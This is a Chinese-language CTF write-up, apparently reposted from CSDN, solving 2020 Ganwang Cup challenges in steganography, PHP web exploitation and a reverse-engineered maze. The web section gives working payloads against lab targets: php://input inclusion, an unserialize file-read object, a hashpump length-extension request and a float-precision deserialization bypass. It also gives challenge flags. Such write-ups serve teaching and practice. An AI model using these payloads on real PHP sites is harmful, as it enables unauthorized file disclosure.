小言_互联网的博客

2020第一届赣网杯网络安全大赛(已更新)

391人阅读  评论(0)

Misc

CheckIn

看到二维码扫描,关注公众号,回复赣网杯,直接出现flag

face

下载解压,得到flag.txt,打开一看,是一大串表情字符,一开始联想到js表情包加解密,后来尝试无果

在github上找到相关文章

直接对应字符转码

找到转译网站直接转换成文本

拿到flag

DestroyJava

解压得到一个mp4文件

看了一下视频内容,猜测其中藏了什么信息
binwalk查看发现有jpeg图片

foremost分离

分离出jpg图片
一开始以为是图片隐写,把jpg图片放进stegsolve等工具查看了通道,都没发现什么信息
于是换个思路,steghide info 发现隐藏文件


利用网上脚本爆破出密码

爆破脚本如下

利用steghide提取出刚刚发现的隐藏文件a.jpg的信息内容,发现base64.txt,查看,发现一串编码,猜测为base85编码,直接利用python base64模块的base85解码,解出flag

Hidepig


发现流量的类型为USB,于是找到USB流量分析脚本


获得密码:381382770
得到密码之后,进行pdf隐写
打开使用wbStego4open

输入刚才得到的密码



得到flag

Web

EasyPhp


打开题目直接就给出了源码
源码接受三个参数,$sz_txt读取的文件内容要为”welcome to jxsz”
$sz_file参数会进行正则匹配flag,若匹配,则输出”Not now!”,然后退出
如果没有匹配到flag,则进入include函数
输入的password参数会进行反序列操作然后输出

分析之后
$sz_txt可以通过php://input的伪协议进行读取post进去的值,这样就可以读取到我们任意的字符
题目中注释给出了存在useless.php,我们需要读取出来查看

<?php  

class Flag{  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("So cool,continue plz");
        }  
    }  
}  
?>  

这定义了一个Flag类,其中引入了一个魔术方法__tostring,如果存在$flag,则包含并输出其中的内容

运行之后得到O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
所以构造出最终payload


得到flag

parseHash

此题为国赛原题easytrick改的,考查的是hash拓展攻击 + php非法表单名传参 + php浮点数高精度绕过

因为比赛环境关闭了,所以自己搭了一个,改了key值:

<?php 
include("key.php");
class person{ 
    public $aa; 
    public $bb; 
    public $username; 
    public $password; 
    public function __construct($key=''){ 
        $this->username="jxsz";
        $this->password="jxsz";
        if(strlen($key)==16&&md5($key . urldecode( $this->username .  $this->password)=="
            1f19fc53484d729ca7c3f44fe37115f6")){
            echo "Welcome";
        }  
    } 

    public function __destruct(){ 
        $this->aa = (string)$this->aa; 
        if(strlen($this->aa) > 5 || strlen($this->bb) > 5||preg_match('/INF|NAN|M_/i', $this->aa)){ 
            die("no no no"); 
        } 
        if($this->aa !== $this->bb && md5($this->aa) === md5($this->bb) && $this->aa != $this->bb){ 
            echo file_get_contents("flag"); 
        } 
    } 
} 
highlight_file(__FILE__); 
$person=new person($key);
$other_pwd=$_POST["pwd1"];
$other_hash=$_POST["hash_code"];
if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
    echo "66666666666";
    unserialize($_GET['sz_sz.sz']);
}

hash拓展攻击部分

$this->username = "jxsz"
$this->password = "jxsz"
strlen($key)==16
md5($key.urldecode($this->username.$this->password)) = " "
strlen($key) + strlen("jxsz") = 20

最后一个条件: 传入字符串中需要有“szxy666”字符,并且不能放在开头
我们可以使用hashpump进行长度拓展
hashpump工具地址:https://github.com/bwall/HashPump

将拓展后的编码urlencode一下,用%代替\x

jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666
635c8ebe4aadeed473a16c197e01fa2e

拼接一下payload:

pwd1=jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666&hash_code=635c8ebe4aadeed473a16c197e01fa2e

执行

一开始抓到的是get包,换成post再传,go一下成功回显
php非法表单名传参
反序列化GET参数名中包含了非法字符. 会进行过滤

 unserialize($_GET['sz_sz.sz'])

通过php对非法传参名的处理机制,我们可以了解到处理非法字符.的过程中只替换一次


所以为了防止变量名’sz_sz.sz’中的.被替换成_,我们用 [ 代替_去执行,这样替换一次后,后面的 . 就不会过滤掉
所以前部分payload:?sz[sz.sz=

php浮点数高精度绕过

这里过滤了NAN和INF,利用高精度浮点数绕过
序列化poc:

<?php 
class person{ 
    public $aa; 
    public $bb;
 }
$res = new person();
$res->aa = 0.8 * 7;
$res->bb = 7 * 0.8;
echo serialize($res);
?>

O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

拼接:

?sz[sz.sz=O:6:”person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

测试

出现flag
flag{hashparse+sz_sz.sz}

Reverse

maze

ida打开很奇怪,猜测有壳
exeinfope查壳发现是upx

工具脱壳后程序好像IAT表出现问题打不开

直接静态分析吧,上下左右对应WSAD

要求输入字符长度为48

迷宫一行30个,起点是坐标[1,1],终点是数据为2的坐标

数据如下:

0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,
0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,2,0,

最后flag为:flag{DSSSDDSDSDDDDDWDDSDSSDDDDWDDSSDDWDDDDDDSSD}


转载:https://blog.csdn.net/m0_46481239/article/details/108446288
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场